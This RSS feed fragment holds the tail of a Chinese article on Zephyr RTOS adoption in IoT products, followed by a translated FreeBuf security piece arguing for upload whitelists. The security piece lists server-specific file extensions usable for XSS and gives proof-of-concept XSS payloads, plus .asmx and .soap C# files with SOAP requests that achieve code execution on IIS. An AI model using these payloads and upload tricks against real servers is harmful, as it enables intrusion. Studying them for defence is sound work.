 &lt;p&gt;优点是，该项目就能够采用低性能处理器（如：能运行于低端的ARM设备、ARC等）设置一个非常强大的应用程序；应用程序占用空间小，可运行于Curie提供的384KB flash，80kB SRAM上，并且还有一定的空间支持更多功能；可移植性，这是最重要的优势。解决方案是“跨硬件平台”的，HereO已经开始在NXP的平台上进行测试，移植非常简单，所需的工作量很少。&lt;/p&gt;
 &lt;p&gt;缺点是，用户使用Zephyr 操作系统面临相当大的挑战，一是，入门水平高，为了很好地了解它，需要研究这款操作系统；二是，这是一个年轻的项目，因此网上几乎没有实例，而且做很多事情还没有“明确”的方法；三是，对于Linux构建系统（Kconfig、Makefile、defconfig等）需要有很好的了解。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;为什么选择Zephyr项目？&lt;/strong&gt;  &lt;br /&gt;
HereO已经选择Zephyr操作系统作为其大部分项目的主要操作系统，这是因为它能够基于低成本处理器创建具有连接性、传感、数据传输协议和极端模块化的物联网设备。迄今为止，这些功能主要通过采用Linux和功能更强大(而且更贵)的处理器才能实现，Zephyr项目确实开放了很多新的和已有的机会。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;CommSolid：连接更丰富的设备&lt;/strong&gt;  &lt;br /&gt;
CommSolid是一家提供领先的超低功耗物联网解决方案的蜂窝IP公司。CommSolid的CSN130基带IP解决方案专为3GPP窄带物联网标准（Cat-NB、NB-IoT）而设计，由硬件（RTL）和软件堆栈组成。嵌入到用户的系统级芯片（SoC）中，可以将传感器和执行器直接连接到互联网，从而实现物流、健康、智慧城市和检测等智能应用程序。超低功耗消费使CSN130 IP适用于长时间采用电池供电的设备。CSN130基于灵活的架构，与经过验证的技术相结合，现在可用于授权和片上系统集成。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="261" src="http://www.qidic.com/wp-content/uploads/2017/12/1ec1e0a3235ade5d306587acc99da9cd_966.jpg" width="465"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;为什么选择Zephyr 操作系统？&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;CommSolid的CSN130 NB-IoT基带IP解决方案采用了Cadence认证的Tensilica Fusion F1内核技术，能够将包括蜂窝协议堆栈和物理层的完整的调制解调器整合到单一内核中，这需要高性能、低功耗的实时操作系统RTOS。CommSolid评估了各种实时操作系统，主要标准是性能和稳定性，以实现可靠的NB-IoT通信。另外，还需要执行中间件堆栈和客户应用程序的简单机制，所有这些问题都是Zephyr 项目可以解决的。&lt;/p&gt;
 &lt;p&gt;Zephyr的内核调度器能够和蜂窝网络实现高精度的同步。针对IoT设备，电源效率至关重要，Zephyr操作系统已经准备好支持这一需求，从而实现超低功耗和超长的电池寿命。驱动API和子系统增加了解决方案的可扩展性。这使得从占用非常小的空间的瘦调制解调器的功能，直到应用程序运行在顶端的云连接设备都可以实现。&lt;/p&gt;
 &lt;p&gt;采用Zephyr 实时操作系统的CommSolid CSN130 NB-IoT基带IP解决方案已经在CommSoild的NB-IoT参考平台上进行了演示，针对语音激活的数据传输的实时语音识别在单核CPU上运行在NB-IoT之上。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;Grush：为儿童打造一款刷牙游戏&lt;/strong&gt;  &lt;br /&gt;
Grush是先进的蓝牙运动传感牙刷开创者，加上互动和指导性的手机游戏。Grush指导小孩刷牙，并且让父母跟踪结果。&lt;/p&gt;
 &lt;p&gt;Grush采用了一个技术领先的运动传感牙刷，兼做游戏控制棒的双重作用。牙刷通过蓝牙以无线通信的方式向Grush游戏传输数据—一款交互式手机游戏，通过刷牙流程指导儿童。Grush也采用了一项云服务，它存储刷牙信息，以使父母通过仪表盘APP监控小孩的刷牙动作，允许他们根据小孩的表现进行奖励。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;为什么选择Zephyr 操作系统？&lt;/strong&gt;  &lt;br /&gt;
Zephyr项目使Grush很容易为联网牙刷游戏体验构建先进的Grush游戏算法。Grush需要一款操作系统，能够准确地收集传感器数据、处理复杂的算法、与双处理器通信，并且能与智能手机通信，同时确保应用程序可以使用尽可能多的内存。&lt;/p&gt;
 &lt;p&gt;Zephyr操作系统是一个完美的解决方案。Zephyr操作系统是“足够小巧且开箱即用”，并且不需要额外的工程。作为一款开源、小且可扩展的实时操作系统，Zephyr占用空间小，允许Grush开发者最大化Grush游戏算法的能效。Zephyr操作系统的多线程功能使Grush可以同时收集传感器数据，运行算法，与智能手机可靠地通信，实现无缝刷牙体验。&lt;/p&gt;
 &lt;p&gt;从以上三个实例可以看出，Zephyr操作系统在物联网设备中发挥了其占用空间小、高度灵活、高可靠的优势，未来会被更多物联网设备供应商广泛采用。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;关于   &lt;a href="http://www.qidic.com/66934.html" target="_blank" title="Zephyr&amp;#25805;&amp;#20316;&amp;#31995;&amp;#32479;&amp;#25903;&amp;#25345;&amp;#34013;&amp;#29273;mesh&amp;#65292;&amp;#26234;&amp;#33021;&amp;#27004;&amp;#23431;&amp;#24102;&amp;#20320;&amp;#20307;&amp;#39564;&amp;#26234;&amp;#33021;&amp;#29983;&amp;#27963;"&gt;Zephyr&lt;/a&gt;&lt;/strong&gt;  &lt;a href="http://www.qidic.com/66934.html" target="_blank" title="Zephyr&amp;#25805;&amp;#20316;&amp;#31995;&amp;#32479;&amp;#25903;&amp;#25345;&amp;#34013;&amp;#29273;mesh&amp;#65292;&amp;#26234;&amp;#33021;&amp;#27004;&amp;#23431;&amp;#24102;&amp;#20320;&amp;#20307;&amp;#39564;&amp;#26234;&amp;#33021;&amp;#29983;&amp;#27963;"&gt; &lt;/a&gt;  &lt;br /&gt;
Zephyr 项目是一款小型且可扩展的操作系统，尤其适用于资源受限的硬件系统，可支持多种架构；该系统高度开源，对于开发人员社区完全开放，开发人员可根据需要对该系统进行二次开发，以支持最新硬件、工具和设备驱动程序；该系统高度模块化平台，可轻松集成任何架构的第三方库和嵌入式设备。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>专栏 Zephyr操作系统 物联网</category>
      <guid isPermaLink="true">https://itindex.net/detail/57780-%E9%80%89%E6%8B%A9-zephyr-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F</guid>
      <pubDate>Wed, 13 Dec 2017 15:42:07 CST</pubDate>
    </item>
    <item>
      <title>血淋林的例子告诉你，为什么防“上传漏洞”要用白名单</title>
      <link>https://itindex.net/detail/57734-%E5%91%8A%E8%AF%89-%E4%B8%8A%E4%BC%A0-%E6%BC%8F%E6%B4%9E</link>
      <description>&lt;p&gt;  &lt;img alt="1.png" height="297" src="http://image.3001.net/images/20171126/15117006647354.png!small" width="602"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;一般来说，当你在写文件上传功能的代码时，你都需要使用”白名单”或“黑名单”来检查并限制用户上传文件的扩展名。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;当我阅读了   &lt;a href="https://twitter.com/ldionmarcil"&gt;@Idionmarcil&lt;/a&gt;的【   &lt;a href="https://twitter.com/ldionmarcil/status/922553386645454850"&gt;这篇文章&lt;/a&gt;】之后，我决定要深入了解一下当前热门的Web服务器是如何处理各种类型的扩展名的。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;首先，我需要知道Web服务器在处理不同文件类型时所返回的content-type内容。一般来说，开发者只会在黑名单中添加某些“臭名昭著”的扩展名。但是在这篇文章中，我要分析的对象将是一些使用没那么广泛的文件类型。&lt;/p&gt;
 &lt;p&gt;在本文中，用于演示的PoC Payload如下：&lt;/p&gt;
 &lt;p&gt;1.      基础XSS Payload：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;script&amp;gt;alert(1337)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;2.      基于XML的XSS Payload：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;a:scriptxmlns:a=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;alert(1337)&amp;lt;/a:script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;下面，我将给大家介绍我的研究成果。&lt;/p&gt;
 &lt;h2&gt;ISS Web服务器&lt;/h2&gt;
 &lt;p&gt;默认配置下，ISS针对文件类型所返回的content-type为text/html，具体请看下面的列表：&lt;/p&gt;
 &lt;p&gt;扩展名的基本向量：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.cer
.hxt
.htm&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;img alt="2.png" height="318" src="http://image.3001.net/images/20171126/15117007057527.png!small" width="651"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;因此，我们就可以将基础XSS向量复制到上传文件中，当我们打开文档之后，浏览器中便会弹出一个对话框。对于下面的列表中所包含的扩展名，IIS服务器所响应的content-type将允许我们通过基于XML的攻击向量来执行XSS攻击：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.dtd
.mno
.vml
.xsl
.xht
.svg
.xml
.xsd
.xsf
.svgz
.xslt
.wsdl
.xhtml   &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.png" height="343" src="http://image.3001.net/images/20171126/15117007404617.png!small" width="657"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;默认配置下，IIS还会支持SSI，但是处于安全方面的考虑，Payload的执行可能会被禁止。&lt;/p&gt;
 &lt;p&gt;针对SSI的扩展：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.stm
.shtm
.shtml

   &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;img alt="4.png" height="180" src="http://image.3001.net/images/20171126/15117007617815.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如果你想了解更多关于SSI的详细信息，请参考  &lt;a href="https://twitter.com/ldionmarcil/status/922561177636311041"&gt;@ldionmarcil&lt;/a&gt;的【  &lt;a href="https://twitter.com/ldionmarcil/status/922561177636311041"&gt;这篇文章&lt;/a&gt;】。&lt;/p&gt;
 &lt;p&gt;除此之外，这里还有另外两个有趣的扩展名（.asmx和 .soap）同样能够允许我们实现任意代码执行，而这两个扩展名是Yury Aleinov发现的，感兴趣的同学可以访问  &lt;a href="https://twitter.com/YuryAleinov"&gt;@YuryAleinov&lt;/a&gt;的Twitter以获取更多信息。&lt;/p&gt;
 &lt;h3&gt;asmx后缀&lt;/h3&gt;
 &lt;p&gt;1.      如果你可以上传后缀名为.asmx的文件，那你也许就可以通过它来实现任意代码执行。比如说，我们来看看下面这个文件的内容:&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;%@ WebService Language=&amp;quot;C#&amp;quot;Class=&amp;quot;MyClass&amp;quot; %&amp;gt;
using System.Web.Services;
using System;
using System.Diagnostics;
 
 
 [WebService(Namespace=&amp;quot;&amp;quot;)]
 public class MyClass : WebService 
 {
    [WebMethod]
    public string Pwn_Function()
    {
        Process.Start(&amp;quot;calc.exe&amp;quot;);
        return &amp;quot;PWNED&amp;quot;;
    }
 }&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5.png" height="296" src="http://image.3001.net/images/20171126/15117011006303.png!small" width="396"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2.      接下来，我们向上传的文档发送POST请求：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;POST /1.asmx HTTP/1.1
Host: localhost
Content-Type: application/soap+xml;charset=utf-8
Content-Length: 287
   
&amp;lt;?xml version=&amp;quot;1.0&amp;quot;encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;soap12:Envelopexmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;xmlns:xsd=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;xmlns:soap12=&amp;quot;http://www.w3.org/2003/05/soap-envelope&amp;quot;&amp;gt;
 &amp;lt;soap12:Body&amp;gt;
   &amp;lt;Pwn_Function/&amp;gt;
 &amp;lt;/soap12:Body&amp;gt;
&amp;lt;/soap12:Envelope&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="6.png" height="310" src="http://image.3001.net/images/20171126/15117011329716.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;3.      大家可以看到，结果就是我们成功让IIS运行了“calc.exe”。&lt;/p&gt;
 &lt;h3&gt;soap后缀&lt;/h3&gt;
 &lt;p&gt;使用后缀.soap上传的文件内容如下：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;%@ WebService Language=&amp;quot;C#&amp;quot;Class=&amp;quot;MyClass&amp;quot; %&amp;gt;
using System.Web.Services;
using System;
 
public class MyClass : MarshalByRefObject
{
   public MyClass() { 
            System.Diagnostics.Process.Start(&amp;quot;calc.exe&amp;quot;);
         }                      
}&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;SOAP请求:&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;POST /1.soap HTTP/1.1
Host: localhost
Content-Length: 283
Content-Type: text/xml; charset=utf-8
SOAPAction: &amp;quot;/&amp;quot;
 
&amp;lt;?xml version=&amp;quot;1.0&amp;quot;encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;soap:Envelopexmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;xmlns:xsd=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;xmlns:soap=&amp;quot;http://schemas.xmlsoap.org/soap/envelope/&amp;quot;&amp;gt;
 &amp;lt;soap:Body&amp;gt;
   &amp;lt;MyFunction /&amp;gt;
 &amp;lt;/soap:Body&amp;gt;
&amp;lt;/soap:Envelope&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="7.png" height="355" src="http://image.3001.net/images/20171126/15117012006344.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;Apache（httpd或Tomcat）&lt;/h2&gt;
 &lt;p&gt;基础向量后缀：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.shtml&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;.html.de或.html.xxx (xxx 为任意字符)*&lt;/p&gt;
 &lt;p&gt;基于XML向量的后缀：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.rdf
.xht
.xml
.xsl
.svg
.xhtml
.svgz&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;如果“.html.”后面跟有任意字符的话，Apache的响应信息中content-type为text/html。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="8.png" height="482" src="http://image.3001.net/images/20171126/15117012475294.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;需要注意的是，在处理很多不同类型的文件后缀时，Apache所返回的响应信息中可能会不包含Content-type头，而这将有可能导致XSS攻击的发生。因为浏览器在处理这种页面时，不同浏览器的处理方法是不同的。比如说，Firefox对后缀为.xbl和.xml的文件所采用的处理方法非常类似，而这类响应中是不包含Content-type头的，所以我们就可以利用基于XML的攻击向量来对目标浏览器发动XSS攻击了。&lt;/p&gt;
 &lt;h2&gt;Nginx&lt;/h2&gt;
 &lt;p&gt;基础向量后缀：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.htm&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;基于XML的向量后缀：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.svg
.xml
.svgz&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;总结&lt;/h2&gt;
 &lt;p&gt;本文对当前热门Web服务器处理各种文件后缀的方法进行了简单分析，如果你还想了解更多关于“利用文件后缀和Content-Type来发动XSS攻击”的详细内容，请参考这篇文章【  &lt;a href="http://pwndizzle.blogspot.ru/2015/07/xss-extensions-and-content-types.html"&gt;传送门&lt;/a&gt;】。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;* 参考来源：   &lt;a href="https://mike-n1.github.io/ExtensionsOverview"&gt;mike-n1&lt;/a&gt;，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 系统安全 上传漏洞 白名单</category>
      <guid isPermaLink="true">https://itindex.net/detail/57734-%E5%91%8A%E8%AF%89-%E4%B8%8A%E4%BC%A0-%E6%BC%8F%E6%B4%9E</guid>
      <pubDate>Fri, 01 Dec 2017 15:00:18 CST</pubDate>
    </item>
  </channel>
</rss>

